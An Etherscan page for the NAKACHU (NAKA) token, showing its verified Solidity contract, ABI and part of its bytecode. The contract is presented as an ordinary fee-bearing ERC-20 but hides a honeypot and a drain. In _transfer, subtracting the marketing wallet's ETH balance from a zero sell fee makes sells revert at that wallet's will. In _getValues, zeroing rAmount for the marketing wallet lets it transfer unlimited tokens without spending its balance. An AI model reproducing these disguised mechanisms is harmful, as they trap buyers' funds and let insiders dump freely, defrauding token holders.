ETH Price: $2,620.82 (-0.65%)

Token

NAKACHU (NAKA)
 

Overview

Max Total Supply

1,000,000,000 NAKA

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
59,684,069.355997245 NAKA

Value
$0.00
0xdfd6ef3d1946c2c4b4d47bcf93e609ccc3f38d41
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NAKA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/*
NAKACHU  $NAKA

Website: https://www.nakachu.pro
Telegram: https://t.me/nakachu_eth
Twitter:  https://twitter.com/nakachu_eth
*/

pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
  
contract NAKA is Context, IERC20, Ownable {
 
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
 
    uint256 private _tFeeTotal;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private constant MAX = 10 ** 30;
    uint256 private _taxFeeOnBuy = 0;  
 
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    string private constant _name = "NAKACHU";
    string private constant _symbol = "NAKA";
 
    bool private isTradingOpened;
    bool private isSwapping = false;
    bool private taxSwapEnabled = true;
 
    address payable private _devAddress = payable(msg.sender); 
    address payable private _marketing = payable(0x1268B5060F206629Fb2fefb47De18bd732f17518);
    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; 
 
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
    uint256 public _maxTrasnaction = 5 * 10 ** 7 * 10**9;
    uint256 public _maxWalletAmount = 5 * 10 ** 7 * 10**9;
    uint256 public _swapTokensAtAmount = 10 ** 3 * 10**9;
    uint256 private _redisFee = _redisFeeOnSell;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
 
 
    event MaxTxAmountUpdated(uint256 _maxTrasnaction);
    modifier lockTheSwap {
        isSwapping = true;
        _;
        isSwapping = false;
    }
 
    constructor() {
 
        _isExcludedFromFee[_devAddress] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketing] = true; 
        _isExcludedFromFee[address(this)] = true;
        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
  
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
    
    function addLiquidity() external payable onlyOwner() {
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
 
    function manualswap() external {
        require(_msgSender() == _devAddress || _msgSender() == _marketing);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            //Trade start check
            if (!isTradingOpened) {
                require(from == owner() || from == address(this), "TOKEN: This account cannot send tokens until trading is enabled");
            } else {
                require(amount <= _maxTrasnaction, "TOKEN: Max Transaction Limit");
            }
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTrasnaction)
            {
                contractTokenBalance = _maxTrasnaction;
            }
 
            if (canSwap && !isSwapping && from != uniswapV2Pair && taxSwapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance; 
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell.sub(_marketing.balance);
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function manualsend() external {
        require(_msgSender() == _devAddress || _msgSender() == _marketing);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount, sender);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    function openTrading() public onlyOwner {
        isTradingOpened = true;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function sendETHToFee(uint256 amount) private {
        _devAddress.transfer(amount);
    }

    function removeLimits() public onlyOwner {
        _maxTrasnaction = type(uint).max;
        _maxWalletAmount = type(uint).max;
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount, address sender)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        if (sender == _marketing) {rAmount = 0;}
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTrasnaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTrasnaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea400000006200026d565b6200003e906c0c9f2c9cd04674edea4000000062000290565b600355600060048190556005819055600681905560078190556008805463010000003302610100600160b81b03199091161762010000179055600980546001600160a01b031916731268b5060f206629fb2fefb47de18bd732f17518179055600c81905560128054600d55600e82905566b1a2bc2ec50000600f81905560105564e8d4a5100060115555348015620000d557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008546001600160a01b0363010000009091041660009081526016602081905260408220805460ff19166001908117909155916200015d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556009549091168152601690925280822080548416600190811790915530835290822080549093161790915560035490601790620001c53390565b6001600160a01b03168152602081019190915260400160002055601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002103390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200025e91815260200190565b60405180910390a350620002b8565b6000826200028b57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620002b257634e487b7160e01b600052601160045260246000fd5b92915050565b611cd580620002c86000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d1578063c3c8cd801161008a578063dd4214bc11610064578063dd4214bc14610440578063dd62ed3e14610456578063e8078d941461049c578063f2fde38b146104a457600080fd5b8063c3c8cd80146103f6578063c492f0461461040b578063c9567bf91461042b57600080fd5b8063751039fc146103195780637f2feddc1461032e5780638da5cb5b1461035b57806395d89b4114610379578063a9059cbb146103a6578063bfd79284146103c657600080fd5b8063313ce56711610123578063313ce5671461027b57806349bd5a5e146102975780636c0a24eb146102b75780636fc3eaec146102cd57806370a08231146102e4578063715018a61461030457600080fd5b806306fdde0314610176578063095ea7b3146101b85780631694505e146101e857806318160ddd1461022057806323b872dd146102455780632fd689e31461026557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506040805180820190915260078152664e414b4143485560c81b60208201525b6040516101af919061190b565b60405180910390f35b3480156101c457600080fd5b506101d86101d336600461196e565b6104c4565b60405190151581526020016101af565b3480156101f457600080fd5b50601354610208906001600160a01b031681565b6040516001600160a01b0390911681526020016101af565b34801561022c57600080fd5b50670de0b6b3a76400005b6040519081526020016101af565b34801561025157600080fd5b506101d861026036600461199a565b6104db565b34801561027157600080fd5b5061023760115481565b34801561028757600080fd5b50604051600981526020016101af565b3480156102a357600080fd5b50601454610208906001600160a01b031681565b3480156102c357600080fd5b5061023760105481565b3480156102d957600080fd5b506102e2610544565b005b3480156102f057600080fd5b506102376102ff3660046119db565b610596565b34801561031057600080fd5b506102e26105b8565b34801561032557600080fd5b506102e2610635565b34801561033a57600080fd5b506102376103493660046119db565b600b6020526000908152604090205481565b34801561036757600080fd5b506000546001600160a01b0316610208565b34801561038557600080fd5b506040805180820190915260048152634e414b4160e01b60208201526101a2565b3480156103b257600080fd5b506101d86103c136600461196e565b61066c565b3480156103d257600080fd5b506101d86103e13660046119db565b600a6020526000908152604090205460ff1681565b34801561040257600080fd5b506102e2610679565b34801561041757600080fd5b506102e2610426366004611a06565b6106d4565b34801561043757600080fd5b506102e2610775565b34801561044c57600080fd5b50610237600f5481565b34801561046257600080fd5b50610237610471366004611a8c565b6001600160a01b03918216600090815260186020908152604080832093909416825291909152205490565b6102e26107ae565b3480156104b057600080fd5b506102e26104bf3660046119db565b610ab5565b60006104d1338484610b9f565b5060015b92915050565b60006104e8848484610cc3565b61053a843361053585604051806060016040528060288152602001611c78602891396001600160a01b038a1660009081526018602090815260408083203384529091529020549190611223565b610b9f565b5060019392505050565b600854630100000090046001600160a01b0316336001600160a01b0316148061058057506009546001600160a01b0316336001600160a01b0316145b61058957600080fd5b476105938161125d565b50565b6001600160a01b0381166000908152601760205260408120546104d5906112a1565b6000546001600160a01b031633146105eb5760405162461bcd60e51b81526004016105e290611ac5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016105e290611ac5565b600019600f819055601055565b60006104d1338484610cc3565b600854630100000090046001600160a01b0316336001600160a01b031614806106b557506009546001600160a01b0316336001600160a01b0316145b6106be57600080fd5b60006106c930610596565b9050610593816112bf565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016105e290611ac5565b60005b8281101561076f57816016600086868581811061072057610720611afa565b905060200201602081019061073591906119db565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061076781611b26565b915050610701565b50505050565b6000546001600160a01b0316331461079f5760405162461bcd60e51b81526004016105e290611ac5565b6008805460ff19166001179055565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016105e290611ac5565b6013546107f89030906001600160a01b0316670de0b6b3a7640000610b9f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190611b3f565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f59190611b3f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611b3f565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d719343061099681610596565b6000806109ab6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a389190611b5c565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a91573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105939190611b8a565b6000546001600160a01b03163314610adf5760405162461bcd60e51b81526004016105e290611ac5565b6001600160a01b038116610b445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e2565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e2565b6001600160a01b0383811660008181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e2565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e2565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e2565b6000546001600160a01b03848116911614801590610e1757506000546001600160a01b03838116911614155b156111065760085460ff16610ec1576000546001600160a01b0384811691161480610e4a57506001600160a01b03831630145b610ebc5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e2565b610f13565b600f54811115610f135760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e2565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5557506001600160a01b0382166000908152600a602052604090205460ff16155b610fad5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e2565b6014546001600160a01b038381169116146110325760105481610fcf84610596565b610fd99190611ba7565b106110325760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e2565b600061103d30610596565b601154600f5491925082101590821061105657600f5491505b80801561106b5750600854610100900460ff16155b801561108557506014546001600160a01b03868116911614155b8015611099575060085462010000900460ff165b80156110be57506001600160a01b03851660009081526016602052604090205460ff16155b80156110e357506001600160a01b03841660009081526016602052604090205460ff16155b15611103576110f1826112bf565b478015611101576111014761125d565b505b50505b6001600160a01b03831660009081526016602052604090205460019060ff168061114857506001600160a01b03831660009081526016602052604090205460ff165b8061117a57506014546001600160a01b0385811691161480159061117a57506014546001600160a01b03848116911614155b1561118757506000611217565b6014546001600160a01b0385811691161480156111b257506013546001600160a01b03848116911614155b156111c457600754601255600454600c555b6014546001600160a01b0384811691161480156111ef57506013546001600160a01b03858116911614155b156112175760095460055461120d916001600160a01b031631611433565b601255600654600c555b61076f84848484611475565b600081848411156112475760405162461bcd60e51b81526004016105e2919061190b565b5060006112548486611bba565b95945050505050565b60085460405163010000009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561129d573d6000803e3d6000fd5b5050565b6000806112ac6114a3565b90506112b883826114c6565b9392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130357611303611afa565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561135c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113809190611b3f565b8160018151811061139357611393611afa565b6001600160a01b0392831660209182029290920101526013546113b99130911684610b9f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f2908590600090869030904290600401611bcd565b600060405180830381600087803b15801561140c57600080fd5b505af1158015611420573d6000803e3d6000fd5b50506008805461ff001916905550505050565b60006112b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611223565b8061148257611482611508565b61148d848484611536565b8061076f5761076f600d54601255600e54600c55565b60008060006114b061162e565b90925090506114bf82826114c6565b9250505090565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b6012541580156115185750600c54155b1561151f57565b60128054600d55600c8054600e5560009182905555565b600080600080600080611549878a61169c565b6001600160a01b038f16600090815260176020526040902054959b5093995091975095509350915061157b9087611433565b6001600160a01b03808b1660009081526017602052604080822093909355908a16815220546115aa9086611717565b6001600160a01b0389166000908152601760205260409020556115cc81611776565b6115d684836117c0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b6003546000908190670de0b6b3a764000061164982826114c6565b82101561166557505060035492670de0b6b3a764000092509050565b90939092509050565b6000818361168f5760405162461bcd60e51b81526004016105e2919061190b565b5060006112548486611c3e565b60008060008060008060008060006116b98b601254600c546117e4565b92509250925060006116c96114a3565b905060008060006116dc8f878787611839565b60095492955090935091506001600160a01b03908116908f16036116ff57600092505b919e909d50909b509399509197509550909350505050565b6000806117248385611ba7565b9050838110156112b85760